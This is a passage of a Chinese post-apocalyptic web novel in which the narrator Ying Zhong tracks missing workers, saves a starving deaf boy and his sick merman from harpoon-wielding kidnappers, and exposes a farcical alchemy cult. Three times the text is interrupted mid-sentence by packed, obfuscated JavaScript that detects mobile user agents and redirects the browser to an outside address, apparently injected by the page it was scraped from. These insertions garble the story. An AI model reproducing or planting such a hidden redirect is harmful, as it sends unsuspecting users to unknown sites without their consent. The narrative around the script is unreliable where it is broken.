“没了!这次真的……”内德被应钟盯得有些心虚。半晌叹了口气道,“好吧其实还有一条,不过我觉得没什么价值。” “未必。”应钟道,“说说。” 内德:“你今天不是给那家伙一块紫铜当定金么。他转头就去买了个金枪鱼罐头,还有半块压缩饼干。” 应钟给他的紫铜,足够买两块压缩饼干。小谢却只买了半块。省下来的部分再加上小谢自己原来的钱,凑在一起买了金枪鱼罐头。 应钟回想起在小谢家隔壁听到的,那种类似于尾鳍拍打水花的声音。 内德:“看你的表情,是不是已经猜到了什么?” “我在想……”应钟摸了摸下巴,若有所思地盯着内德,“人肉是不是很难吃。” 内德:“……” 外面阴风阵阵,寒冷刺骨。内德头皮一炸,麻利地掏出一个午餐肉罐头,双手高举作上供状,恭敬道:“哥,我请你吃晚饭!” “谢谢,吃过了。”应钟笑笑,礼貌接过他的罐头,“下次有机会请我吃电池。” 内德:“……” 7. 第7章 依偎 吃人的事,这几年已经很少见了。 大灾害刚发生的时候,所有幸存者都在拼命争抢物资。有些人被困在没有出口的地方,食物和水耗尽,最终就会发生这类悲剧。 这几年已经好很多了。 人类从大灾害的应激反应中冷静下来,也逐渐接受了末日废土的现实。特别是大灾害之后出生的孩子们——这代人被称作“废土世代”。 废土世代的孩子们,对于黄金时代的了解只来源于长辈的口述,或者各种旧时代遗迹。 末日废土刚开始那几年的混乱黑暗,有些孩子也是亲身经历过的。在这种环境下长大反而不觉得有什么。 只有从黄金时代挣扎着活过来的人,才会对“吃人”有着生理性反感。 应钟第二天起了一个大早。内德昨天给他提供了不少情报,他要去调查这半年里所有失踪者的情况,看看有没有什么共同点。 内德其实已经得出初步结论了,那就是这些失踪者全都是青壮年。应钟按图索骥,一个个调查过去,发现这些人也都跟蒸汽工厂里的工人一样。 贫穷,年轻。年龄在15到32岁,体格强壮。 失踪者总数是22人。平均到半年内,差不多每个月都会失踪三四个人。 这些人原先居住在不同的街区,做着不同的工作。这些街区分散在城镇各处,有的相距很远,看不出什么关联。 应钟跑了一整天,才调查完其中的三个。累得够呛,只觉得肚子咕噜噜地叫。 正打算找个地方坐下来吃晚饭,应钟忽然间注意到,不远处有个人贼眉鼠眼,有点眼熟。 应钟慢条斯理地喝着水,不动声色观察那人。那是个三十来岁的男人,相貌打扮平平无奇,东张西望的,似乎在寻找着什么。 应钟看到他身上有几根银白色丝线,微弱摇曳着,延伸向不同的地方。 其中有一根连接着应钟刚刚调查过的地方——木材厂。 木材厂这半年来也有三名工人失踪。距离最后一名工人失踪已经过去三个月,除了他的家人以外,其他人几乎都已经淡忘了这回事。 应钟盯着那个探头探脑的家伙半天,终于想起来为什么觉得他眼熟了。 因为这人,他今天上午才刚见过。在另外一个曾经有人失踪过的地方:某个熔炼金属的小作坊。 应钟眯起眼睛,正打算暗中跟上去,却听身后一个怯怯的声音。 “先生!您……您好!” 应钟转过身,看到一身黑色卫衣的小谢,正微微喘着气仰头看他。 应钟眼角余光仍然关注着木材厂门口那个行为举止怪异的男人,一边朝小谢道:“怎么了?” “我找了您一整天,想……想告诉您,我有您要找的那个人的消息了……”小谢气喘吁吁,语气非常恭敬礼貌。 应钟从上到下打量小谢一眼,发现他的脸色比昨天更差了。 是那种极度营养不.良的苍白,人也似乎比昨天更憔悴,仿佛风一吹就会倒下去。 应钟想起昨天他在冷风里到处为自己打听的样子,心里感到疑惑:不是已经买了食物了么?难道昨天没吃? 不会连压缩饼干都要掰碎了喂鱼吧。 “有人看到他……昨天下午的时候,朝沙漠里去了……”小谢气息微弱地说着,每说一句话都要停下来微微喘气。 喀拉一声,应钟打开手里的牛肉罐头。热腾腾的香气冒出来,小谢情不自禁地被吸引了注意。眼睛黏在了罐头上,忍不住地开始吞口水。 “来点儿?”应钟朝他扬了扬罐头。 “不不……”小谢苍白的脸上泛起一抹红晕,很不好意思地说,“我还没有帮您找到那个人。沙漠太大了……” 应钟随手把牛肉罐头放到一旁,视线很自然地在小谢身上一扫。 他注意到小谢身上多了一根丝线。 银白色的丝线,另一头,幽幽地系在了木材厂门口那个贼眉鼠眼的男人身上。而那个男人,在看到小谢的时候,表情也变得有些怪异。 男人立刻侧过了身子,一边偷瞟着这里,一边快步离开。 而小谢则自始至终都没有看那边一眼。仿佛没注意到那个男人。 应钟想了想,叹口气,说:“我牛肉过敏。” 小谢:“……啊?” 小谢说话时,始终不敢看应钟的眼睛,而是盯着他的嘴。 应钟指着热气腾腾的罐头上,那被岁月磨花了的印刷标签:“买的时候没仔细看,买成了牛肉的,亏大了。反正我也不能吃,来都来了,给你吧。” “……不不……”小谢睁大眼睛,用力摇头拒绝,身体却很诚实地直吞口水。 应钟看着他竭力忍耐的模样,忽然觉得他这样子很好玩。 “快拿走。”应钟捂着鼻子,装出一脸嫌弃,“我闻不得这个味道。我要吐了。” 说着就起身,漫不经心地朝那贼眉鼠眼男人离开的方向走去。 “……不,先生……”小谢急忙追上来,想想觉得不妥,又折回来小心翼翼地捧起那个牛肉罐头。 细瘦得几乎一折就断的手指,在触碰到罐头的一瞬间被温暖到。小谢呆了一下,在热气腾腾的牛肉香气中吸了下鼻子,脸上露出流浪猫第一次尝到猫条的惊讶表情。 ——好香! 咕咚。 小谢忍不住很用力地吞了下口水。随即自己又脸红了。 天色很快地暗下来。寒冷再一次降临,像在皮肤笼上一层冰冷的外衣。 小谢小心翼翼地合上牛肉罐头的盖子,藏进衣服里面。肚皮隔着衣服碰到金属罐,感觉到一种久违的温暖。小谢下意识地抚摸了一下肚子,嘴角忍不住扬起。 不行,得赶快回去! 牛肉罐头可是很珍贵的东西……被人看到的话会被抢走的。 小谢努力压住上翘的嘴角,低着头,跑一段歇一段地回到了家。 他的家在一个没什么人来的公寓楼。这里是废墟里的废墟,大家都很嫌弃这里的样子,说是豆腐渣工程。 豆腐渣是什么? 好像是黄金时代存在过的东西…… 小谢扶着墙壁,慢吞吞地爬上三楼。他觉得这里很好,不会有人打扰他们,而且楼顶有个蓄水池。 他永远记得拧开水龙头看到哗哗流出的水柱时的欣喜。 “我回来了!” 小谢一边开锁,一边朝房子里面说。 他的影子在黑漆漆的楼道里回响。刚搬来这里的时候,他还会害怕,但现在已经好多了。 现在这里越来越有家的感觉。 推开门,微微清冷的空气迎面而来。 和大楼里陈旧发霉的味道不同,他会在每天出门前把家里的窗户打开。 他们家的窗户是朝向南面的。太阳照进来的时候,屋子里很暖。 清新的风吹动着墙角的几颗盆栽。那些花盆是这座房子里本来就有的东西,小谢从外面连土带根地挖回来一些花,把花养在阳光照得到的地方。 哗啦。浴室里有水声。 “你不要出来。”小谢急忙走过去,心疼地抱住浴缸里的男人。 男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393107|200328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有着一张好看的脸。 湿漉漉的黑发贴在额头,他的眼睛是深蓝色,睫毛很长。皮肤又白又细腻,锁骨漂亮地立在胸膛。 就是有点太瘦了。连肋骨都根根分明。 小谢抱住他。男人冰冷的身体,让他忍不住打了个哆嗦。小谢一边眉飞色舞地告诉他今天发生的事,一边摸摸他的腰,腰部以下的鳞片。 好像又掉了一片。 借着窗户里透进来的月光,小谢在浴缸的水面下找到了那片脱落的鳞片。边缘已经发黑,失去了它原本的光泽。 小谢心疼地把鳞片收集起来。转过身时,却很快藏好了悲伤的表情。他快乐地对人鱼道:“那位先生真的很好很好!他送给我一个牛肉罐头!” “?”人鱼歪了歪脑袋,不大听得懂地看着他。 小谢拿起洗手台边上一个已经开封过的罐头,那里面装着满满一罐的金枪鱼。 “还是没有胃口吗?”小谢挖了点金枪鱼肉,放在手心里,想要喂给人鱼。 人鱼摇摇头,把手掌推向他自己。 “我没关系,我有这个。”小谢笑了下,从口袋里摸出半块压缩饼干。 人鱼张开手臂,抱了他一下。又低下头,带着蹼的手掌轻轻抚摸他的肚子。 “宁宁……”人鱼喉咙里发出低沉模糊犹如泡沫破裂的声音。再一次地把他掌心的金枪鱼肉推向他自己。 “……”小谢看着他的嘴唇,一下子明白过来,苍白的小脸泛起红晕。 他抬手覆上人鱼带蹼的冰冷手背,和人鱼一起抚摸自己的肚子。 “好吧,我们一起吃。”小谢眼角微微噙泪,快乐地笑了下。拿压缩饼干沾了点金枪鱼肉,塞进嘴里。 人鱼眼睛一眨不眨地看着他。看着他把饼干吃完了,这才低下头,小口小口地去吃他手心里的碎鱼肉。 “明天我去把牛肉罐头换点别的。”小谢吃完了饼干,和人鱼依偎在一处。他抚摸着人鱼瘦削冰冷的脸颊,轻而快乐地说,“牛肉罐头可值钱了,比金枪鱼罐头价值高很多。我猜可以换三个金枪鱼罐头回来……或者,你想不想吃点别的?我上次看到过鲱鱼罐头。鲱鱼是什么,你喜欢吃吗?” “?”人鱼听不懂他在说什么,疑惑地歪了下脑袋。 “我也不知道鲱鱼是什么。黄金时代好像有很多种可以吃的鱼……”小谢脸上露出遐想的表情。 他听很多人提起过黄金时代的事,那是个非常非常好的时代,只可惜他没有经历过。 但他仍然很向往。光是想象,就已经让他感到很幸福。 “……”人鱼摸了下他的头发,凑过来,蹭蹭他的脸颊。 小谢脸上微微发烫。转过头,正想说些什么,外面忽然传来一阵巨响。 砰!!! 是房门被人用力踹开的声音! 人鱼表情一变,从浴缸中跃出。巨大的鱼尾用力一甩,两米多长的身体唰地一下窜出去。 小谢吓了一跳,吃惊地站起来。 “你们是谁?!”小谢赶紧跑出来,看到一大群不认识的人跑进自己家里。其中两人分别手握又粗又长的鱼叉,一根扎穿了人鱼的尾巴,一根死死卡住人鱼喉咙。 人鱼巨大的鱼尾在地上不断挣扎,指间带蹼的双手握着鱼叉,表情痛苦,青筋暴起。 小谢尖叫一声,扑上去推搡那杆鱼叉。却被对方一脚踢开,后背狠狠撞上墙角。 “我天,还真有人鱼?!” “靠,活的人鱼!这次发达了!哈哈哈哈!” 陌生男人们发出狂喜的大笑。 8. 第8章 金子 小谢后背狠狠撞上墙角,发出一声沉闷的钝响,当即浑身冷汗,痛苦地捂住肚子。 人鱼看到他脸色惨白的模样,立刻更加疯狂地挣扎起来。那两柄鱼叉却把他死死钉在地上。破裂的鱼尾在剧烈摆动中甩出血珠。 男人们围过来,看那巨大的鱼尾在地板上挣扎扭动,如同案板上的活鱼。男人们眼里都是残忍而兴奋的光。 “快走……”小谢浑身发抖,气若游丝。 人鱼听见了,眼睛变得血红。然而他没有试图逃跑,而是张开嘴,喉咙里发出怪异而古老的声音。 那是一种很难描述的曲调。比起歌声,更像是回荡在深海中的悲鸣。 所有人顿时表情大变。 “糟了!他在……”众人脸上瞬间充满惊悚,然后下一秒,紧张的神色立刻转为沉醉。 “啊哈,哈哈哈哈……” 悲鸣声震碎了阳台玻璃。哐当,男人们手中的鱼叉纷纷落地。 距离人鱼最近的两个男人满脸痴笑,张开双臂踉踉跄跄跑向阳台。毫不犹豫翻身而下。 另外几人也嘻嘻哈哈,摇摇晃晃,排着队走向阳台。如同一场奔赴死亡的盛大郊游。 外头传来重物坠地的沉重闷响,先后两声。人鱼满眼通红,死死地盯着排队跳楼的陌生人们。 忽然间人鱼的表情变得极为痛苦,他用带蹼的双手捂住喉咙,咳出一大口黑色的污血。 歌声停止。围栏边男人们立刻从人鱼的悲鸣中清醒过来。 “靠!卢克和阿尔文呢?!” “不管了!先把人鱼的喉咙捅烂!别让他出声!都把耳朵堵上!” 男人们的表情变得怨恨而恶毒,他们重新抓起鱼叉,凶狠地朝人鱼扑来。 人鱼剧烈咳嗽着,大量的黑色污血从他掌蹼间溢出。他怒目瞪视众人,正要再次发出悲鸣,却听身后一声虚弱慌张的惨叫。 “放开我……呜!” 小谢被一个男人揪着领子拎起来。他浑身冷汗,脸色惨白,细瘦伶仃的双脚不断踢打,双手则是惊恐地捂住肚子。 “靠,什么玩意儿……”揪着小谢的男人注意到他夸张隆起的肚子,顿时满脸厌恶。他扭头朝人鱼大吼,“不许动!你的同伴在我手上!” 人鱼看不懂人类的阴谋诡计,但他看得懂小谢脸上的害怕神情。 他毫不犹豫地扑向小谢,鱼尾在地面上拍溅出黑色污血。 嚓!鱼叉再一次卡住了他的后颈。人鱼挣扎着翻过身来,愤怒到快要滴血的双眼死死盯着围拢上来的男人们。 重新控制住人鱼的男人们陷入兴奋与狂喜。 “捅他喉咙,割掉他的声带!” “对对对,捅烂他的嗓子!!” 男人们眼里满是残忍而兴奋的光。一人用手捂住人鱼的口鼻,另一人拿着匕首靠近。闪着寒芒的刀尖隔空在人鱼喉咙上比划。 人鱼的双手胸膛都被人死死踩住,鱼尾被鱼叉钉在地上,黑色的污血汇聚成一滩。 人鱼的眼中满是愤怒,然而无论他怎么挣扎,身后的鱼叉始终将他死死钉在地上。 血肉模糊的鱼尾几乎要被鱼叉撕裂,钝重地挥溅出污血。 一滴血溅到小谢苍白的脸上。小谢几近崩溃。 “不要!不要不要不要!”小谢凄厉地哀求,死命挣扎,“求求你们放过他!求求你们!不要伤害他!不要!……” 混乱间,人鱼扭过头,担忧地注视小谢。 人鱼看不懂人类即将对他进行的伤害,但他听见了小谢的哭声。 “宁宁……”人鱼嘶哑的喉咙里发出含糊不清的呼唤。 “不要!!!”小谢绝望大叫。匕首已经高高举起,刺向人鱼的喉咙。 就在此时——砰! 一声枪响,人鱼上方爆开一团血花! “啊啊啊啊!”试图捅烂人鱼喉咙的男人捂着手腕惨叫,表情痛苦地从人鱼身上退开。 “什么人?!”众人震惊回头,还没来得及做出反应,就听同伴发出痛呼。 拳头击碎鼻骨,骨裂声令人头皮发麻。 男人们接二连三倒地。来人出手干净利落,够快够狠。一击之下就夺去对方的反抗能力,让对方痛得头晕眼花,只能倒在地上哀嚎扭动。像粪坑里的蛆虫。 转眼间所有人都被放倒,除了那个挟持小谢的男人。 “你到底是谁?!”男人惊恐地看着对方,随即拎起小谢的后领,把小谢挡在自己身前。 砰!又一声枪响。男人捂着炸成烂肉的肘部哀嚎跪下。 小谢像只坠楼的猫咪一样从男人手中跌落,却在真正坠地之前被一只温暖有力的手接住。 “拿猫咪当人质,也太没品了吧。” 应钟一脸鄙视地瞥了眼被打碎手肘的男人。又扭头去看另一边挣扎着爬向这里的人鱼。 喃喃道,“哇,还真有美人鱼啊。” 先前被放倒的那几个坏蛋,此时逐渐从剧痛中缓过劲来。他们表情扭曲地掏出枪支。 应钟一手揽着虚弱的小谢,反手数枪,把所有试图朝他举枪的人手掌打穿。 一团团的血肉崩飞。红红白白像放烟花。 “还来么?”应钟淡淡道。 回答他的是满地哀嚎。 “您……您是昨天的……”小谢脸色惨白,嘴唇不住颤抖,脸上的表情说不出是惊喜还是震撼。 “我叫应钟。”应钟弯腰抱起他。起身的一瞬间不由皱眉:这只小猫远比他看上去的要重。是因为肚子很大的关系吗? 人鱼艰难撑起身子,染着黑色污血的掌蹼一把抓住应钟的裤子。 他仰头死死盯着应钟,嘴唇翕动,喉咙里发出带血模糊的声音。 应钟安抚道:“别怕,不把你们分开。”说着扭头朝外面大喊一声,“路温!人呢!” “来、了……”路温表情扭曲,一瘸一拐地跌撞进来。 “?”应钟狐疑地瞟了他一眼,没问他怎么回事,只是指着地上的人鱼快速地说,“你抱这个,他也受伤了。人鱼的存在得保密,你有熟悉的医生么?” “靠!原来有人鱼!”路温破口大骂,“我说怎么我会突然跳楼!妈的!最烦这种无差别攻击!” 应钟:“……” “应……先生……”小谢在应钟怀里挣扎了下,声音不住发抖,充满惊恐,“宝宝……我的宝宝……” 应钟低头,看到他脸上毫无血色,双手紧紧捂住自己的肚子,浑身都被冷汗浸透。 少年四肢细长犹如蜘蛛,肚子却怪异夸张地鼓起,如同怀胎十月的孕妇。 捂着肚子的双手不住颤抖。 应钟心里一沉,喝道:“路温!带路!” 路温也察觉到不对,一把扛起人鱼。两人一同带着伤者,朝着夜幕中的诊所飞奔。 半小时后。 “他没有怀孕。”医生从检查台上直起身子,转身朝众人道,“是长期营养不.良导致的腹水。” “……”小谢虚弱地躺在检查台上,不安地睁大眼睛,他看看医生又看看应钟,声音发抖地问,“医生说了什么……?宝宝怎么样了……可不可以先救宝宝……” 应钟一愣,下意识和路温对视一眼。 应钟示意路温和医生先出去。留下他和小谢,还有那条人鱼。 人鱼尾巴上那个血呼啦差的洞已经缝合了,此时正以一种守护者的姿态寸步不离陪伴在小谢身边。 诊室里的检查灯很亮,有点晃眼睛。 检查时小谢被脱去外套,此刻只剩一件被汗水浸湿了的衬衣贴在身上,让他整个人看上去更加瘦弱。 膨隆的腹部看上去无比怪异。 应钟伸手摸了摸小谢的头发,还没开口,小谢就红了眼圈。 “应先生,宝宝,宝宝是不是……” “小谢,你没有怀孕。男孩子是不会怀孕的。”应钟深沉地打断他。 小谢愣了下,脱口而出:“可他是人鱼啊!” 应钟:“?” ……确实。 这个世界都有人鱼存在了,男孩子怀孕算什么。 应钟看看哀恸的小谢,又看看寸步不离守护着他的人鱼,觉得自己有点被说服了,转身出去。 几分钟后诊室外响起医生崩溃的吼叫:“他哪里来的器官?!哪里来的着床条件?!且不说人类和人鱼之间有没有生.殖隔离!就算男人鱼和男人类真的可以,你想想他们交.配用的是哪里?!啊?!你们男同不要太离谱!不要什么功能都硬塞给肠子啊!!!” 诊室里,小谢睁大眼睛,满脸不安与茫然。仿佛没有听到医生的怒吼 人鱼始终注视着他,带蹼的手掌碰了碰他的脸颊,又轻轻碰了碰他的肚子。 “我现在已经好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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…… 医生通过特殊渠道,很快搞来了几瓶白蛋白。 治疗顺利进行。医生给小谢放了腹水,给他细瘦伶仃的胳膊上吊起点滴。 应钟仰头看着小小玻璃瓶里那淡黄色的液体,好奇地想:明明是白蛋白,为什么是淡黄色的? “果然医疗在任何时代都是昂贵的东西。”路温两手抱胸,淡淡地说。 小谢已经睡着了,人鱼陪伴在他身旁。他的脸色看上去已经好了很多。 应钟朝路温比了个手势,示意出去说。正要走时,应钟的手臂被拉住。一回头,看到是那条人鱼。 人鱼其实也很瘦,脸颊凹陷,肋骨根根分明,巨大的鱼尾上大部分鳞片也已经脱落,稀稀拉拉地长着黑斑。 那是受到污染生病的证据。 “怎么了?”应钟问。 人鱼没说话,只是低下头。从自己手腕内侧扯下一片鱼鳞,放进应钟的手里。 那是一片未经污染的,非常美丽的鱼鳞。淡蓝色的半透明鱼鳞闪烁着珠光,不难想象人鱼若是没有生病,那条巨大鱼尾该有多么的华丽梦幻。 应钟仔细端详鱼鳞,实在看不出有什么用。不由笑道:“你还不如哭两颗珍珠给我。” “?”人鱼听不懂,皱着眉头,歪歪脑袋。俊美的脸庞露出疑惑神情。 “算了,不客气。”应钟伸手摸摸人鱼湿漉漉的发丝,说,“好好照顾他吧。” 人鱼安静地目送两人出去。 诊所外,寒风凛冽。 应钟给路温递了支烟。啪嚓两声,黑夜中亮起两点橙红星火。 应钟问:“杰里米那边审得怎么样了?” “都招了。那帮家伙藏人的地方在道观。”路温扬了扬下巴,“就是上次杰里米捡平安符的地方。” 应钟两手插在裤兜里,起身跺了跺脚。最近昼夜温差大,晚上冷得要命。好在还有烟,可以让人短暂地忘却疲惫和寒冷。 “谢了兄弟。”应钟朝他挥手道别。正要离开,却发现路温也跟了上来。 应钟侧过头,疑惑地看了他一眼。 “他们人很多。”路温漠然,“我还欠你两条命呢,别忘了。” “我能不能先存着,算个利息?”应钟一脸真诚。 “……”路温脚步一跄,差点被自己绊到。 “开玩笑的。”应钟哈哈大笑,仰头吐出个烟圈。心想这次可真搞大了,非但见识到了传说中的人鱼,现在还要去端掉一个莫名其妙的绑架团伙。 谁能想到,故事最开始,他只是一个急需充电的普通路人呢。 希望翁阿姨的儿子还活着。 9. 第9章 元阳 道观遗迹位于人类聚集地的围墙之外。 应钟所在的这座人类聚集地,看上去和大灾害前的城市布局相似,其实城镇外还有一圈高高的围墙。 大灾害后,世界发生了很大的变化……很多地方遭到污染,土地和水都无法使用,动植物也发生了变异。没有人能在这里生存。 先行者到达这片区域后,找到一块相对安全的地方,想办法清理了污染。 然后用围墙把这片净土和外面的废土区分开来。 而那座道观,就是围墙之外的旧世界遗迹。 应钟小时候来过这里,对这座古色古香的宏伟建筑印象深刻。如今道观早已坍塌,屋顶不翼而飞。只剩下几根顶梁柱孤零零地立在废墟上,支撑着天空。如同伸向苍穹的巨人手指。 而道观底下的防空洞,则如同巨人腐败的尸骸。没人知道道观底下还藏着这么一座设施。 应钟和路温到达的时候,杰里米的人已经把绑架犯团伙收拾得差不多了。 “老板,你又来了啊。”应钟在人群中看到那位见过好几次的书摊老板。老板哼一声,扯了下嘴角,算是打招呼。 “之前失踪的那些人都找到了,都还活着。”杰里米看到路温之后第一时间跑过来,表情却有些古怪,“就是状态不太好……” 应钟有些担心,正想追问,一抬头就看见几个人摇摇晃晃地走来。 “小心。”应钟下意识伸手搀扶,被那人的脸色吓了一跳。紧接着反应过来——这不是翁阿姨的儿子吗?! 对方感激又尴尬地朝他道谢,却摆摆手示意自己能走。 应钟想继续扶他,他却坚定地推开了应钟,态度强硬地表示:“我没事!你去扶其他人吧!” 应钟:“?” 应钟狐疑地看着那几名青壮男性缓缓走出。他们每个人都眼圈乌青,脚步虚浮,看上去好像连续熬夜了几百年,又像从烤火炉里捡出来的炉灰,仿佛下一秒就会一脚踩空灰飞烟灭。 怎么看都不像没事的样子。 “怎么回事?”路温也察觉了不对,扭头问杰里米。 杰里米小心翼翼地看了那些受害者一眼,把两人拉到一旁,红着脸道:“他们被抓过来,是来榨、榨……那个的。” 应钟:“?” 路温:“???” 杰里米满脸通红,说不出口。索性掏出一本泛黄的古书来,推到两人面前:“你们自己看吧!” 路温伸手接过,看清封面的一瞬间当即像被烙铁烫到一样,瞳孔剧颤。 应钟:“……” ……《房中术》。 封面其实挺素雅,没什么不堪入目的东西。翻开里面的内容,也是大段大段古文,而且还是竖排的。阅读起来十分费劲。 如果没点文化常识,估计会以为这就是一本普普通通的泛黄古书。 然而仔细翻翻,就会发现,密密麻麻的古文里时而会出现几张不堪入目的插图…… 路温果断把古籍推进应钟怀里,拉着杰里米到边上小声教育。 应钟哭笑不得,随手把古籍揣进兜里。 杰里米带来的人很多。一部分负责救援,另一部分正在看守一群抱头蹲在地上的家伙。 应钟突然有种扫黄打非的既视感,加上他兜里那本《房中术》就更应景了。 犯罪分子都已经被降服,应钟暂时没有可以出手的地方,于是决定四处逛逛。 这座防空洞很大。整个区域被灰白色的水泥墙分割成大小不同的区域。其中有些很明显是用来关押受害者的,还有一些房间里摆放着化学试剂和仪器。 看似十分科学,玻璃瓶上却贴满了道教的符咒。 实验桌上还摊着几本实验手册,封面上写着“古法炼丹”、“科学升天”之类的神秘文字。 空气中还弥漫着一股十分微妙的味道。令人作呕。 应钟皱着眉头退出来,来到下一个房间。瞬间瞳孔地震。 这个房间比前面所有房间都要大。灰突突的墙面上,贴满了不可描述的糟糕图画。 地上散落着来自旧时代的画册,色彩艳丽,纸张皱皱巴巴,看上去已经被翻看过无数次。 墙面和地面倒是很干净,没有想象中那么……污秽。 不对。污秽的东西估计都被收集起来了。毕竟这个地下组织抓青壮年就是为了榨……榨那什么。 应钟一瞬间理解了为什么实验室里有那股腥膻的味道,表情顿时变得难看,赶紧捂着鼻子离开走廊。 事情很快弄清楚了。 这个地下组织,自称是“元阳教”。教派创建者当年探索这间道观时,无意间发现了一些古人的智慧。当即大喜,拉来几个志同道合者,以科学升天为目标,一同创立了元阳教。 这帮人文化水平不高,古籍大部分都看不懂,只能靠自己的理解瞎猜。一番鼓捣之后,就决定从身强体壮的年轻人身体里提取“元阳”,用来炼丹。 至于为什么要抓无辜的受害者而不是自产自销……主要是因为炼丹失败率太高了,他们自产自销产量跟不上。于是只好抓来一批青壮年…… 应钟:“。” 大受震撼。 他重新回到那个双手抱头蹲了一地的扫黄打非现场,仔细一看。嚯,果然。 都是外国人…… 整件事听起来荒诞又好笑。但是想想他们对待人鱼时的残忍,又让人觉得笑不出来。 得亏他们把“元阳”理解为那个东西。如果他们想要获得的是血肉脏器,或者其他什么会危及生命的东西,恐怕这帮“科学升天”的狂热信徒连更残忍的事也会做得出来。 “我如果是你……”路温说,“我也会怀疑是小谢在用人肉喂鱼。” 应钟点点头。 应钟没对路温他们说银色丝线的事,只说自己在木材厂门口遇到了那个贼眉鼠眼的家伙,希望路温派人去查。此时那人也是双手抱头蹲在地上的一员。 当时那人在暗中观察小谢,并且很快离开。小谢则从头到尾没有看那人一眼。在那时的情况下,应钟无法判断小谢是不是在故意装不认识他。 “那你又是怎么确定小谢是好人的呢?”杰里米好奇道。 “没确定啊。”应钟随口道,“当时给他那个牛肉罐头,只是觉得他再不吃点东西就要死了。” 小谢拼命省吃俭用,还到处打工,就是为了买鱼肉罐头给人鱼吃。 人鱼生病了。污染病令他的鱼鳞大面积脱落,嗓子也哑了。没办法回归大海,更没有保护自己的能力。 应钟并没有富有到随手拿价格昂贵的牛肉罐头来投喂流浪猫,但如果给便宜的鱼类罐头,小谢一定会拿回去喂人鱼。 应钟后来跟踪那个贼眉鼠眼的家伙,听到了他们的密谋。动手时机就在当晚。应钟也因此明白,原来连接小谢与那人的丝线,并不是指他们之间有所勾连。而是那伙人即将对小谢动手。 ——丝线难道还可以预言未发生的事? 应钟不确定对方的火力情况,于是找来路温杰里米帮忙。谁知道那伙混蛋一上来就动了粗,逼得人鱼用歌声退敌。 “诶??”杰里米睁大眼睛,“所以路温才会从楼梯上跳下去吗?” 应钟点点头:“传说中人鱼用歌声蛊惑水手,让水手看见幻觉,从船上跳进大海。当时距离人鱼最近的两个信徒也跳楼了。当场死亡。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393109|200328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 杰里米有些后怕地摸了摸路温的胳膊。 “为什么你不受影响?”路温皱眉。 应钟:“不知道啊。” 他确实听到了人鱼的歌声,不过当时只觉得歌声苍凉嘶哑,很难听。应钟并没有产生什么幻觉。 “那你看到了什么幻觉?”杰里米扭过头,好奇地看着路温。 路温:“……” 路温面无表情地转移话题:“小谢也没受影响。估计因为人鱼嗓子哑了,效果打折扣,歌声没有对所有人都起效。” “我猜是因为……”应钟缓缓道,“小谢听不到声音,所以不受人鱼蛊惑。” “啊???”杰里米大惊。 路温也十分惊讶:“他是聋子?可他不是……” “看上去不太明显,他跟人也能正常对话。”应钟道,“但你发现没有,他跟人交流的时候,都是看着对方嘴唇而不是眼睛,他应该是通过唇形观察对方在说什么。” 先天性耳聋患者想要学习说话很难,但如果是后天性的耳聋,那还是可以开口说话的。 所以当医生转过头背对着小谢的时候,他就没办法知道医生在说什么了。 “难怪医生已经说了他没怀孕,他还一个劲儿地追问宝宝宝宝……”路温表情有些复杂,“我还以为他是受刺激太大,不愿意接受现实。” “小谢其实很坚强。”应钟笑笑,“希望他以后不要再遇到坏人了。” 路温和杰里米一起点点头。 元阳教的信徒们集体落网,路温的人把他们全都看守起来,又派人把受害者陆续送回家里。 这些受害者,失踪时间最长的已经长达半年。有些人的亲人甚至都已经离开这座城镇,不知去向。 茫茫末世,一旦和亲人分离,就很难再相见。 应钟亲自把翁阿姨的儿子送回去。翁阿姨千恩万谢。母子团聚,一番感人场面。 应钟抽着烟在门外等候。 过了一会儿,翁阿姨的儿子拿着一个塑料盒子出来。四下看了看,确认周围没人,这才低声道:“这是先前说好的报酬。我还有个不情之请……” “懂。”应钟伸手接了盒子,朝他笑笑,“不要声张,是吧?” 翁阿姨的儿子表情尴尬地点了点头。 被邪恶教徒抓过去当榨那什么的工具……这种事情说出去太丢人。 其他受害者估计也会守口如瓶,但元阳教的人一定会受到惩罚。 第二天一大早,元阳教的狂热信徒们就被驱赶着,离开这座人类聚集地。 那两个用鱼叉捅伤人鱼的家伙,已经在人鱼的歌声中跳楼,当场死亡。 其他受伤的信徒们,都得到了最基本的人道救治。 更多的就没有了。这伙人为了可笑的理由,对三十几名受害者进行了绑架监禁,甚至还打算弄死小谢、分食人鱼。这种罪行,放在大灾害以前也起码要判个几十年。 而在末世里,把他们从安全的人类聚集地里赶出去,已经是最大的惩罚。 要知道,距离这里最近的下一个人类聚集地,远在几百公里之外。 能不能活着到达那里就看他们自己的本事了。 几天后。 “没想到这片黑雾森林后面,居然藏着这么个世外桃源。”路温抬手推开一截布满荆棘的黑刺,护着杰里米,来到阳光下。 巨大的湖泊呈现出冰蓝色,在日光照耀下波光粼粼。 湖边一栋略显陈旧的小木屋,应钟正在帮小谢晾衣服。两个高高的木桩插在泥土里,中间牵了个晾衣绳。洗干净的白衬衣,牛仔裤,随着微风轻轻摇荡。 空气中传来冰消雪融的气息。 10. 第10章 重逢 